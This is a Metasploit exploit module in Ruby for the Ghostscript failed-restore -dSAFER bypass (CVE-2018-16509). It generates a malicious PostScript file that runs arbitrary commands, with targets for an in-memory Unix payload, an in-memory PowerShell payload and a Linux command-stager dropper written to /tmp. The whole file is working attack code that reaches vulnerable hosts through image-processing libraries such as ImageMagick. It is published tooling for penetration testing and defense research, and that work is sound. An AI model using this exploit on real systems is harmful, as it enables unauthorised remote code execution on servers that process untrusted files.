##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit

  Rank = ExcellentRanking

  PLACEHOLDER_STRING  = 'metasploit'
  PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty'

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'              => 'Ghostscript Failed Restore Command Execution',
      'Description'       => %q{
        This module exploits a -dSAFER bypass in Ghostscript to execute
        arbitrary commands by handling a failed restore (grestore) in
        PostScript to disable LockSafetyParams and avoid invalidaccess.

        This vulnerability is reachable via libraries such as ImageMagick.
      },
      'Author'            => [
        'Tavis Ormandy', # Vuln discovery and exploit
        'wvu'            # Metasploit module
      ],
      'References'        => [
        ['CVE', '2018-16509'],
        ['URL', 'https://seclists.org/oss-sec/2018/q3/142'],
        ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640']
      ],
      'DisclosureDate'    => '2018-08-21',
      'License'           => MSF_LICENSE,
      'Platform'          => ['unix', 'linux', 'win'],
      'Arch'              => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Privileged'        => false,
      'Targets'           => [
        ['Unix (In-Memory)',
          'Platform'      => 'unix',
          'Arch'          => ARCH_CMD,
          'Type'          => :unix_memory,
          'Payload'       => {
            'Space'       => 4089, # 4096 total
            'DisableNops' => true
          }
        ],
        ['PowerShell (In-Memory)',
          'Platform'      => 'win',
          'Arch'          => [ARCH_X86, ARCH_X64],
          'Type'          => :psh_memory
        ],
        ['Linux (Dropper)',
          'Platform'      => 'linux',
          'Arch'          => [ARCH_X86, ARCH_X64],
          'Type'          => :linux_dropper
        ]
      ],
      'DefaultTarget'     => 0,
      'Notes'             => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [],
        'Reliability' => [],
        'RelatedModules'  => [
          'exploit/unix/fileformat/ghostscript_type_confusion',
          'exploit/unix/fileformat/imagemagick_delegate'
        ]
      }
    ))

    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'msf.ps'])
    ])

    register_advanced_options([
      OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
    ])
  end

  def exploit
    sploit = template

    # Replace our placeholder string with a random one
    sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42))

    # Replace our test payload with the real one
    case target['Type']
    when :unix_memory
      sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded)
    when :psh_memory
      psh = cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      )

      # XXX: Payload space applies to the payload, not the PSH command
      if psh.length > targets[0].payload_space
        fail_with(Failure::BadConfig, 'Please choose a smaller payload')
      end

      sploit.sub!(PLACEHOLDER_COMMAND, psh)
    when :linux_dropper
      cmdstager = generate_cmdstager(
        linemax: targets[0].payload_space,
        temp:    datastore['WritableDir']
      ).join(';')

      # XXX: Payload space applies to the payload, not the command stager
      if cmdstager.length > targets[0].payload_space
        fail_with(Failure::BadConfig, 'Please choose a smaller command stager')
      end

      sploit.sub!(PLACEHOLDER_COMMAND, cmdstager)
    end

    file_create(sploit)
  end

  def template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'ghostscript', 'msf.ps'
    ))
  end

end
